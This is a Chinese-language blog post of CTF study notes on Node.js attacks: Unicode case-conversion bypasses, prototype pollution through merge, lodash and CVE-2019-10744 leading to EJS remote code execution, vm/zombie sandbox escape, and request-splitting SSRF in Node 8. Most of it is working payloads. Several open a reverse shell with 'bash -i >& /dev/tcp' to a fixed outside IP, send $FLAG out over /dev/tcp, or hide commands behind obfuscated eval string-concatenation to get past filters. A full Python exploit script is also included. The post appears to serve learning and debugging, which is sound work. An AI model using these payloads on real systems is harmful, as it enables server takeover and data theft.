node漏洞

node漏洞

持续更新

node语法和js相似(本人认为是一样的),所以学习的时候两边都得学

node官网http://nodejs.cn/api/modules.html

node字符

toUpperCase() 函数漏洞

Fuzz中的javascript大小写特性 | 离别歌 (leavesongs.com)

直接看结论

特殊字符绕过
toUpperCase()

其中混入了两个奇特的字符"ı"、"ſ"。

 这两个字符的“大写”是I和S。也就是说"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'。通过这个小特性可以绕过一些限制。
toLowerCase()

这个"K"的“小写”字符是k,也就是"K".toLowerCase() == 'k'.

'admın'.toUpperCase() == 'ADMIN'

’King'.toLowerCase() == 'king'

node原型链污染

参考这篇:(84条消息) JavaScript原型链污染攻击_BerL1n的博客-CSDN博客_javascript原型链污染

引入

Foo类和Foo的构造方法

function Foo() {
    this.bar = 1
}

new Foo()

image-20220412212832459

Foo的成员函数

function Foo() {
    this.bar = 1
    this.show = function() {
        console.log(this.bar)
    }
}

(new Foo()).show()

image-20220412212841144

但这样写有一个问题,就是每当我们新建一个Foo对象时,this.show = function…就会执行一次,这个show方法实际上是绑定在对象上的,而不是绑定在“类”中。

我希望在创建类的时候只创建一次show方法,这时候就则需要使用原型(prototype)了:

function Foo() {
    this.bar = 1
}

Foo.prototype.show = function show() {
    console.log(this.bar)
}

let foo = new Foo()
foo.show()

image-20220412213107911

在js中,所有的对象都是从各种基础对象继承下来的,所以每个对象都有他的父类,通过prototype可以直接操作修改父类的对象。

prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
一个对象(foo)的__proto__属性,指向这个对象所在的类(Foo)的prototype属性

一个简单的继承demo,运用到__proto__

function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

image-20220412214632479

在对象son中寻找last_name
如果找不到,则在son.proto中寻找last_name
如果仍然找不到,则继续在son.proto.proto中寻找last_name
依次寻找,直到找到null结束。比如,Object.prototype的proto就是null

结论:

每个构造函数(constructor)都有一个原型对象(prototype)
对象的proto属性,指向类的原型对象prototype
JavaScript使用prototype链实现继承机制

原型链污染demo

// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)

image-20220412215155370

最后,虽然zoo是一个空对象{},但zoo.bar的结果居然是2:

作用就是篡改值

适用情况

对象merge

对象clone(其实内核就是将待操作的对象merge到一个空对象中)
以对象merge为例,我们想象一个简单的merge函数: [GYCTF2020]Ez_Express

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

但是没有污染到原型链

image-20220412215913820

这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, “__proto__”: {b: 2}})中,__proto__已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b],__proto__并不是一个key,自然也不会修改Object的原型。

总而言之就是__proto__没有被当作键名而是被解析了

那么,如何让__proto__被认为是一个键名呢?

我们将代码改成如下:

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

image-20220412220705749

这是因为,JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。

merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。

所以适用的环境是 可以对对象赋值,且值可控,支持__proto__解析

具体而言就是 例如merge函数 ,或者框架漏洞(大部分框架都有赋值操作,只要有人挖出来链子就可以污染)

p文总结的

JSON.parse('{"a": 1, "__proto__": {"outputFunctionNameb": global.process.mainModule.constructor.load('child_process').execSync('id').toString()}}')

我自己思考得出的

{"lua": "thai", "__proto__": {"outputFunctionName":global.process.mainModule.constructor.load('child_process').execSync('id').toString()}}
{"lua": "thai", "__proto__": {"outputFunctionName":"global.process.mainModule.constructor.load('child_process').execSync('id')"}}

这样写虽然success,但是没有什么回显,后来经过测试,问题出在这里//"

payload1

{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}

payload2 Express+lodash+ejs

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/8.129.42.140/3307 0>&1\"');var __tmp2"}}

参考几个node模板引擎的原型链污染分析 | L0nm4r (lonmar.cn)

Express+lodash+ejs

以此为例[GYCTF2020]Ez_Express

image-20220413091812303

然后在app.js加上对外开放的端口

//设置http
var server = app.listen(8081, function () {

    var host = server.address().address
    var port = server.address().port

    console.log("应用实例,访问地址为 http://%s:%s", host, port)
});

之后运行即可访问8081端口

debug的环境搭建参考[(53条消息) VS CODE nodejs 调试环境搭建_yptsqc的博客-CSDN博客_vscode配置nodejs运行环境](https://blog.csdn.net/yptsqc/article/details/105835024#:~:text=nodejs 是vscode就内置的调试语言, 似乎就不需要再安装作何插件, 就可以启动调试,1.直接用vscode 打开工程目录文件夹, F5 选择环境: 2.选择完成之后,生成一个.vscode文件夹,文件夹下有个launch.json文件。)(建议使用vscode)

参考上面的博客进行选择,选择完成之后,生成一个.vscode文件夹,文件夹下有个launch.json文件。将下面【program】字段的值修改为自己程序的入口文件,开始调试时会从这个入口启动程序,题目的入口为app.js,修改如下

{
    // 使用 IntelliSense 了解相关属性。
    // 悬停以查看现有属性的描述。
    // 欲了解更多信息,请访问: https://go.microsoft.com/fwlink/?linkid=830387
    "version": "0.2.0",
    "configurations": [
    {
    "type": "node",
    "request": "launch",
    "name": "启动程序",
    "skipFiles": [
    "<node_internals>/**"
    ],
    "program": "${workspaceFolder}//app.js"
    }
    ]
}

然后点击运行就好了

image-20220413093929760

由于他的merge函数和p神那个很像,所以理论上可以自己写exp (这个是网上一个师傅的)

exp

{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}

我自己思考得出的

{"lua": "thai", "__proto__": {"outputFunctionName":global.process.mainModule.constructor.load('child_process').execSync('id').toString()}}

经过调试

image-20220413101946115

payload

image-20220413102512414

之后在render这里下断点

image-20220413102653779

步入

image-20220413102830222

然后可以看到从这里进去就是Express+lodash+ejs的链子

从index.js::res.render开始,步入后验证一下,确实如此。

image-20220413103338015

所以通过搜索引擎搜索Express+lodash+ejs也可以得到payload

payload2 Express+lodash+ejs

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/8.129.42.140/3307 0>&1\"');var __tmp2"}}

但是我们看看它exp是怎么做到污染原型链的

进入到app.render。然后进入到app.render里的tryrender函数。

image-20220413104136101

view.render.

image-20220413104342725

然后看到在View.render开始渲染.从这个函数进入ejs模块

image-20220413104503641

继续跟进到renderFile.里面有tryHandleCache函数

image-20220413104615591

继续跟进到handleCache函数,

image-20220413104720569

在这找到了渲染模板的compile函数

image-20220413104804750

然后在这个函数里实例化了一个模板类,然后编译.

继续跟踪编译函数

image-20220413105120406

这时候看一下我们的变量

image-20220413105359121

然后你可以看到这个ots.outputFunctionName是我们的payload

image-20220413105508131

最后经过这些代码的执行,所有东西都被拼接到this.source,起到一个编译的作用

image-20220413105847054

this.source

image-20220413110152013

//是注释,刚好注释到换行符那里

this.source在后面作为构造函数参数传递给fn

image-20220413111458806

这个fn.apply需要了解一下(53条消息) this指向,防抖函数中的fn.apply(this,arguments)作用_前端小懒虫的博客-CSDN博客_fn.apply

所以这道题其实res.outputFunctionName就是一个题目暗示,无论是用exp还是payload2,都是以污染opt.outputFunctionName为途径从而污染原型链的,而这个污染的条件都依赖于Express+lodash+ejs这个不安全的框架组合

为了更加深入理解,我们把问题转化为Express+lodash+ejs如何手写exp, ejs原型污染rce分析 - 先知社区 (aliyun.com)

新建Express_lodash_ejs

test.js

var express = require('express');
var _= require('lodash');
var ejs = require('ejs');

var app = express();
//设置模板的位置
app.set('views', __dirname);

//对原型进行污染
var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
_.merge({}, JSON.parse(malicious_payload));

//进行渲染
app.get('/', function (req, res) {
    res.render ("./test.ejs",{
        message: 'lufei test '
    });
});

//设置http
var server = app.listen(8081, function () {

    var host = server.address().address
    var port = server.address().port

    console.log("应用实例,访问地址为 http://%s:%s", host, port)
});

test.ejs

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title></title>
</head>
<body>

<h1><%= message%></h1>

</body>
</html>

npm安装

npm install ejs
npm install lodash@4.17.4
npm install express

test.js里面就有完整的poc,我们这里慢慢来

先 lodash 原型污染

var _= require('lodash');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';

var a = {};
console.log("Before : " + a.oops);
_.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);

这条payload写的和p神那个及其相似

image-20220413172130349

结论:说明lodash.merge有和p文里面merge函数那样参数可控赋值的漏洞条件

我们知道由于js的语法特性

var person = {
    age:3
}

var myFunction = new Function("a", "return 1*a*this.age");

myFunction.apply(person,[2])

image-20220413173247322

总结: myFunction = new Function(可控, 可控);再加上 myFunction.apply(一个已有的对象,[已有参数])

就是对象可以通过上面的方法变成一个任意可控的函数 。return 1*a*this.age 即为functionBody,可以执行我们的代码。

跑一下test.js

image-20220413174952097

然后下断点调试,一路调试到最后

image-20220413175050464

进入merge果然发现了猫腻

image-20220413175420898

果然被污染了(虽然还没有exec)

image-20220413175512106

这部分是lodash.js的。(反复验证前面的观察和推论了属于是)

说明了lodash的merge是可以造成原型链污染,而之前的题目则是自己作者写了一个类似merge1的函数

有兴趣的也可以试一试这个

const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const ejs = require('ejs');

const app = express();

app
    .use(bodyParser.urlencoded({extended: true}))
    .use(bodyParser.json());

app.set('views', './');
app.set('view engine', 'ejs');

app.get("/", (req, res) => {
    res.render('index');
});

app.post("/", (req, res) => {
    let data = {};
    let input = JSON.parse(req.body.content);
    lodash.defaultsDeep(data, input);
    res.json({message: "OK"});
});

let server = app.listen(8086, '0.0.0.0', function() {
    console.log('Listening on port %d', server.address().port);
});

结论lodash.defaultsDeep也会实现原型链的污染,没错,这是著名的CVE-2019-10744

lodash.defaultsDeep (CVE-2019-10744)

lodash.defaultsDeep

有空就调试一下

payload1

{"constructor":{"prototype":
{"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('b
ash -c \"echo $FLAG>/dev/tcp/xxxxx/xx\"')//"}}}

payload2

"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"}

payload3

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/8.129.42.140/3307 0>&1\"');var __tmp2"}}

lodash+ejs还有一道很经典的题目

[XNUCA2019Qualifier]HardJS

buu环境,拿到源码后(题目有github链接,上面也有官方wp)进行审计

    if(req.body.type && req.body.content){

        var newContent = {}
        var userid = req.session.userid;

        newContent[req.body.type] = [ req.body.content ]

        console.log("newContent:",newContent);

        var sql = "insert into `html` (`userid`,`dom`) values (?,?) ";
        var result = await query(sql,[userid, JSON.stringify(newContent) ]);

        if(result.affectedRows > 0){
            res.json(newContent);
        }else{
            res.json({});
        }

这里有个 JSON.stringify(newContent) , 而 newContent[req.body.type] = [ req.body.content ]

newContent[req.body.type]是用户可控的

app.get("/get",auth,async function(req,res,next){
    ...
    }else if(dataList[0].count > 5) { // if len > 5 , merge all and update mysql

        console.log("Merge the recorder in the database."); 

        var sql = "select `id`,`dom` from  `html` where userid=? ";
        var raws = await query(sql,[userid]);
        var doms = {}
        var ret = new Array(); 

        for(var i=0;i<raws.length ;i++){
            lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));
            //注意到lodash.defaultsDeep
            var sql = "delete from `html` where id = ?";
            var result = await query(sql,raws[i].id);
        }

而在get的时候会调用这个lodash.defaultsDeep来渲染sql查询结果,借此插入恶意Payload污染原型链

由于又得知有ejs框架,直接就污染后ejs RCE一把梭

在/add的时候post这个 (记得更换content-type)

image-20220413223334429

这里注意转义 payload

{"type":"test","content":{"constructor":{"prototype":
{"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('b
ash -c \"echo $FLAG>/dev/tcp/8.129.42.140/3307\"')//"}}}}

然后访问/get触发

image-20220413224054187

image-20220413224121221

还有一种做法!

ejs其实还有很多可以污染后rce的地方

比如说 伪造 escapeFunction 实现rce

image-20220413231153857

payload: (仍然依赖lodash.defaultsDeep先进行原型链污染)

{"constructor": {"prototype": {"client": true,"escapeFunction": "1; return
process.env.FLAG","debug":true, "compileDebug": true}}}

前端的原型链污染

这波是我没想到的,前端的js污染后后端的js也受到了影响

$.extend()

lodash原型链污染漏洞大全

看到一篇肥肠好的博客

https://www.anquanke.com/post/id/248170

vm1/2逃逸

利用原型链污染来达成vm逃逸,然后rce

学习了前面的原型链污染后,对于vm逃逸的话我们主要掌握利用

参考nodejs沙箱与黑魔法 - 先知社区 (aliyun.com)

可以上vm官网学习vm的基本操作,熟悉一下开发

vm2逃逸案例

zombie rce

参考:Nodejs Zoombie Package RCE 分析 | Summ3r's personal blog

hgame的一道题 markdown

本地搭起来环境后

首先进行了代码审计,了解到一些node的特性,可以用于绕过登录

const app = express()

说明是express框架

看了index.js,发现这里有大量的require,并且下面都是一些use,大概猜出是用来路由的

然后正常第一次访问根据index.js应该是去寻求登录

app.use("/", router)

然后看到了router.js

妥妥的路由

router.get("/", controllers.IndexController)
router.post("/login", controllers.LoginController)
router.get("/md", controllers.MarkdownController)
router.post("/preview", controllers.PreviewController)
router.post("/submit", controllers.SubmitController)

结果看到登录里头使用的是try的方式

function LoginController(req, res) {
    if (req.body.username === "admin" && req.body.password.length === 16) {
        try {
            req.body.password = req.body.password.toUpperCase()
            if (req.body.password !== '54gkj7n8uo55vbo2') {
                return res.status(403).json({msg: 'invalid username or password'})
            }
        } catch (__) {}
        req.session['unique_id'] = randString.generate(16)
        res.json({msg: 'ok'})
    } else {
        res.status(403).json({msg: 'login failed'})
    }
}

想到绕过try的方法是报错,但又得保证前面的条件req.body.username === "admin" && req.body.password.length === 16

那么就看到了node的特性,可以使用数组

image-20220224212955371

{"username":"admin","password":["1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1"]}

以上是payload,请用json形式发给/login

接着可以看核心代码了

function LoginController(req, res) {
    if (req.body.username === "admin" && req.body.password.length === 16) {
        try {
            req.body.password = req.body.password.toUpperCase()
            if (req.body.password !== '54gkj7n8uo55vbo2') {
                return res.status(403).json({msg: 'invalid username or password'})
            }
        } catch (__) {}
        req.session['unique_id'] = randString.generate(16)
        res.json({msg: 'ok'})
    } else {
        res.status(403).json({msg: 'login failed'})
    }
}

function MarkdownController(req, res) {
    res.sendFile("md.html", {root: "static"})
}

function PreviewController(req, res) {
    if (req.body.code) {        //语法高亮
        const source = hljs.highlight(md.render(req.body.code), {language: "html"}).value
        res.json({source})
    } else {
        res.status(500).send("code is required")
    }
}

且先不看waf

通过MarkdownController得知 一开始访问/md便返回md.html界面,这是静态的,洞应该不在这

这时候看到有两个按钮,那就分别对应那两个控制器,正常逻辑我们是先preview再submit,所以我们也按照这个顺序看

PreviewController

if (req.body.code) {        //语法高亮
        const source = hljs.highlight(md.render(req.body.code), {language: "html"}).value
        res.json({source})

通过观察,发现这是const MarkdownIt = require('markdown-it')的函数

联系题目,猜测考察markdown xss,于是开始看markdown的官网等等,看到这个

https://rules.sonarsource.com/javascript/type/Security%20Hotspot/RSPEC-5247?search=xss

这篇有讲安全开发,这明显是出题人自己故意不安全开发出的题

image-20220224213818638

后来我发现直接<script></script>也能当作script标签执行js,大意了!

image-20220224214256949

不过其实也没事,不是做题关键,当时因为它有个弹窗说机器人会去访问的,我就以为是xss外带的题目了,结果方向错了,大问题!

其实没想到是另一个!当时虽然也差点想到了

SubmitController

function SubmitController(req, res) {
    if (req.body.code && typeof req.body.code === 'string') {       //typeof返回类型,这里必须是string
        const code = waf(req.body.code)                             //过滤
        const source = md.render(code)
        const browser = new Browser()
        browser.load(source, e => {
            const source = hljs.highlight(browser.html(), {language: "html"}).value
            res.json({source})
        })
    } else {
        res.status(500).send("code is required")
    }
}

说了要来看submit的

看到正常的渲染 const source = md.render(code)

要有洞刚刚早出了,所以问题不是这

看到下面这个

browser.load(source, e => {
            const source = hljs.highlight(browser.html(), {language: "html"}).value
            res.json({source})
        })

browser是刚刚new的一个对象,想一下,根据排除法,应该只剩这里可以有漏洞了

粗略看了一下,这样写其实没有逻辑漏洞之类的

所以考虑是依赖包的问题,看到browser类是这样来的const Browser = require('zombie')

去翻zombie的洞,很快看到Nodejs Zoombie Package RCE 分析 | Summ3r's personal blog

题做少了,不知道框架漏洞要怎么弄,其实很简单,既然这篇博客给了payload

const vm = require('vm')

code = "this.__proto__.constructor.constructor('return process')().mainModule.require('child_process').execSync('calc')"

context = {}

vm.runInNewContext(code, context)

快速学习vm后,得知其实this.__proto__.constructor.constructor('return process')().mainModule.require('child_process').execSync('calc')

才是我们要执行的js代码

既然这篇博客给了payload,我们尝试的成本是很低的,但这里有waf,我们不妨在本地把waf去掉

function waf(code) {
    const blacklist = /__proto__|prototype|\+|alert|confirm|escape|parseInt|parseFloat|prompt|isNaN|new|this|process|constructor|atob|btoa|apk/i
    if (code.match(blacklist)) {
        //return "# Hacker!"
        return code
    } else {
        return code
    }
}

image-20220224215611016

果然弹出了计算器

但是这里要有回显文本的功能,所以我们可以document.write

所以其实试错成本很低的,只要愿意去学Node和搭建题目环境

然后想办法绕过waf,这是不难的,难在于js你熟不熟

按官方解的说法:

+号可以使用.concat(),关键词可以eval从中断开

制造了这样的payload

<script>
var a='th';
var b='is.__pr';
var c='oto__.constru';
var d='ctor.constru';
var e="ctor('return proc";
var f="ess')().mainModule.require('child_pro";
var g="cess').execSync('calc')";
eval(a.concat(b,c,d,e,f,g));</script>

这里讲一下原理,参考,请使用vscode调

直接load那里跟进

image-20220224220558252

没想到一进来就看到了this.tabs.open函数

这个就直接和zombile rce的诱发漏洞的链子是一样的

这说明框架漏洞必须掌握的是整条链,而不是仅仅某个漏洞函数!

当然,它最核心的地方还在于它底层调用了vm,而vm我们知道他有漏洞可以rce

this.tabs.open那里跟进

image-20220224221535287

我们知道这个函数是把md解析的结果交给浏览器渲染,那么返回的结果应该是渲染后的结果,盲猜就是我们看到的

image-20220224221823896

也就是html

所以刚刚那张图返回的window很合理

image-20220224222124077

看到了windows的来源,直接继续跟进

发现好多个函数都是在这坨代码里面就定义好的了,我们直接看到createHistory

跟进之后只看到require

继续跟进require后面这个history,js

然后搜createHistory,可以在注释中看到这整个文件都和createHistory有关系,

image-20220224222856361

每个函数大概都逛了一圈,看到return history.open.bind(history);

这个是history对象下面的open函数,仔细一看原来这整个文件都是history类的定义,跟进 history.open

image-20220224223340991

loadDocument很可疑,注意到唯一参数是args,说明我们的代码在args里

image-20220224223747430

啪的点进来了很快啊,看到js就他妈高潮,问题很可能在这了window._evaluate

结果这个window._evaluate怎么跟进都进不去

后来发现也在这个文件里,直接搜索可以看到

image-20220224224030626

很快看到vm了,这不用说了吧

node源码格式化

推荐vscode

简单的格式化

在Windows上 Shift+ Alt+F

复杂的格式化

安装下面的插件

image-20220412111332904

然后配置setting.json以便于能够ctrl+s时调用插件

image-20220412112716956

第一次使用时要如上图搜索一下settings.json,才会创建setting.json

然后

{
    // vscode默认启用了根据文件类型自动设置tabsize的选项
    "editor.detectIndentation": false,
    // 重新设定tabsize
    "editor.tabSize": 4,
    // #值设置为true时,每次保存的时候自动格式化;值设置为false时,代码格式化请按shift+alt+F
    "editor.formatOnSave": false,
    // #每次保存的时候将代码按eslint格式进行修复
    "eslint.autoFixOnSave": true,
    // 添加 vue 支持
    "eslint.validate": [
        "javascript",
        "javascriptreact",
        {
            "language": "vue",
            "autoFix": true
        }
    ],
    //  #让prettier使用eslint的代码格式进行校验
    "prettier.eslintIntegration": true,
    //  #去掉代码结尾的分号
    "prettier.semi": false,
    //  #使用带引号替代双引号
    "prettier.singleQuote": true,
    "prettier.tabWidth": 4,
    //  #让函数(名)和后面的括号之间加个空格
    "javascript.format.insertSpaceBeforeFunctionParenthesis": true,
    // #这个按用户自身习惯选择
    "vetur.format.defaultFormatter.html": "js-beautify-html",
    // #让vue中的js按"prettier"格式进行格式化
    "vetur.format.defaultFormatter.js": "prettier",
    "vetur.format.defaultFormatterOptions": {
        "js-beautify-html": {
            // #vue组件中html代码格式化样式
            "wrap_attributes": "force-aligned", //也可以设置为“auto”,效果会不一样
            "wrap_line_length": 200,
            "end_with_newline": false,
            "semi": false,
            "singleQuote": true
        },
        "prettier": {
            "semi": false,
            "singleQuote": true
        }
    },
    "[jsonc]": {
        "editor.defaultFormatter": "esbenp.prettier-vscode"
    },
    // 格式化stylus, 需安装Manta's Stylus Supremacy插件
    "stylusSupremacy.insertColons": false, // 是否插入冒号
    "stylusSupremacy.insertSemicolons": false, // 是否插入分号
    "stylusSupremacy.insertBraces": false, // 是否插入大括号
    "stylusSupremacy.insertNewLineAroundImports": false, // import之后是否换行
    "stylusSupremacy.insertNewLineAroundBlocks": false,
    "prettier.useTabs": true,
    "files.autoSave": "off",
    "explorer.confirmDelete": false,
    "[javascript]": {
        "editor.defaultFormatter": "esbenp.prettier-vscode"
    },
    "[json]": {
        "editor.defaultFormatter": "esbenp.prettier-vscode"
    },
    "diffEditor.ignoreTrimWhitespace": false // 两个选择器中是否换行
}

从此直接 Ctrl+S 就能一键格式化了。

不过上面两种方法是真对自己写的代码进行格式化的,如果是ctf那种读到的源码,绝大部分还是要自己手动格式化。

nodejs8.0以下:拆分攻击ssrf

参考通过拆分攻击实现的SSRF攻击 - 先知社区 (aliyun.com)

我们也称之为http走私

介绍

假设一个服务器,接受用户输入,并将其包含在通过HTTP公开的内部服务请求中,像这样:

GET /private-api?q=<user-input-here> HTTP/1.1
Authorization: server-secret-key

如果服务器未正确验证用户输入,则攻击者可能会直接注入协议控制字符到请求里。假设在这种情况下服务器接受了以下用户输入:

"x HTTP/1.1\r\n\r\nDELETE /private-api HTTP/1.1\r\n"
>

在发出请求时,服务器可能会直接将其写入路径,如下:

GET /private-api?q=x HTTP/1.1

DELETE /private-api
Authorization: server-secret-key

接收服务将此解释为两个单独的HTTP请求,一个GET后跟一个DELETE,它无法知道调用者的意图。

实际上,这种精心构造的用户输入会欺骗服务器,使其发出额外的请求,这种情况被称为服务器端请求伪造,或者“SSRF”。服务器可能拥有攻击者不具有的权限,例如访问内网或者秘密api密钥,这就进一步加剧了问题的严重性。

好的HTTP库通通常包含阻止这一行为的措施,Node.js也不例外:如果你尝试发出一个路径中含有控制字符的HTTP请求,它们会被URL编码:

> http.get('http://example.com/\r\n/test').output
[ 'GET /%0D%0A/test HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' ]

不幸的是,上述的处理unicode字符错误意味着可以规避这些措施。考虑如下的URL,其中包含一些带变音符号的unicode字符:

> 'http://example.com/\u{010D}\u{010A}/test'
http://example.com/čĊ/test

当Node.js版本8或更低版本对此URL发出GET请求时,它不会进行转义,因为它们不是HTTP控制字符:

> http.get('http://example.com/\u010D\u010A/test').output
[ 'GET /čĊ/test HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' ]

但是当结果字符串被编码为latin1写入路径时,这些字符将分别被截断为“\r”和“\n”:

> Buffer.from('http://example.com/\u{010D}\u{010A}/test', 'latin1').toString()
'http://example.com/\r\n/test'

因此,通过在请求路径中包含精心选择的unicode字符,攻击者可以欺骗Node.js将HTTP协议控制字符写入线路。

适用条件

这个bug已经在Node.js10中被修复,如果请求路径包含非ascii字符,则会抛出错误。但是对于Node.js8或更低版本,如果有下列情况,任何发出传出HTTP请求的服务器都可能受到通过请求拆实现的SSRF的攻击:

  • 接受来自用户输入的unicode数据
  • 并将其包含爱HTTP请求的路径中
  • 且请求具有一个0长度的主体(比如一个GET或者DELETE

关键

\u{010D}\u{010A} 会被解析为 \r\n

poc

import requests

payload = """ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive

POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: {}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysAs7bV3fMHq0JXUt

{}""".replace('\n', '\r\n')

body = """------WebKitFormBoundarysAs7bV3fMHq0JXUt
Content-Disposition: form-data; name="file"; filename="lethe.pug"
Content-Type: ../template

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x
------WebKitFormBoundarysAs7bV3fMHq0JXUt--

""".replace('\n', '\r\n')

payload = payload.format(len(body), body) \
    .replace('+', '\u012b')             \
    .replace(' ', '\u0120')             \
    .replace('\r\n', '\u010d\u010a')    \
    .replace('"', '\u0122')             \
    .replace("'", '\u0a27')             \
    .replace('[', '\u015b')             \
    .replace(']', '\u015d') \
    + 'GET' + '\u0120' + '/'

requests.get(
    'http://5750e068-33b5-4a65-a6bf-82412fdee97e.node3.buuoj.cn/core?q=' + payload)

print(requests.get(
    'http://5750e068-33b5-4a65-a6bf-82412fdee97e.node3.buuoj.cn/?action=lethe').text)

例题[GYCTF2020]Node Game

上面poc是例题的

参考[[GYCTF2020]Node Game | Z3ratu1's blog](https://z3ratu1.github.io/[GYCTF2020]node game.html)

参考(53条消息) 请求拆分攻击结合pug模板注入导致rce_合天网安实验室的博客-CSDN博客

分析

基本的node绕过

原味的rce

global.process.mainModule.constructor.load('child_process').execSync('id') 

如果结果要输出的话,需要在最末尾加上toString()

eval没被过滤

遇到了黑名单,在没有过滤eval的情况下,可以使用字符串拼接

payload示例

使用加号拼接

eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")

使用concat和逗号拼接

var a='th';
var b='is.__pr';
var c='oto__.constru';
var d='ctor.constru';
var e="ctor('return proc";
var f="ess')().mainModule.require('child_pro";
var g="cess').execSync('calc')";
eval(a.concat(b,c,d,e,f,g));

关键词的替代

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇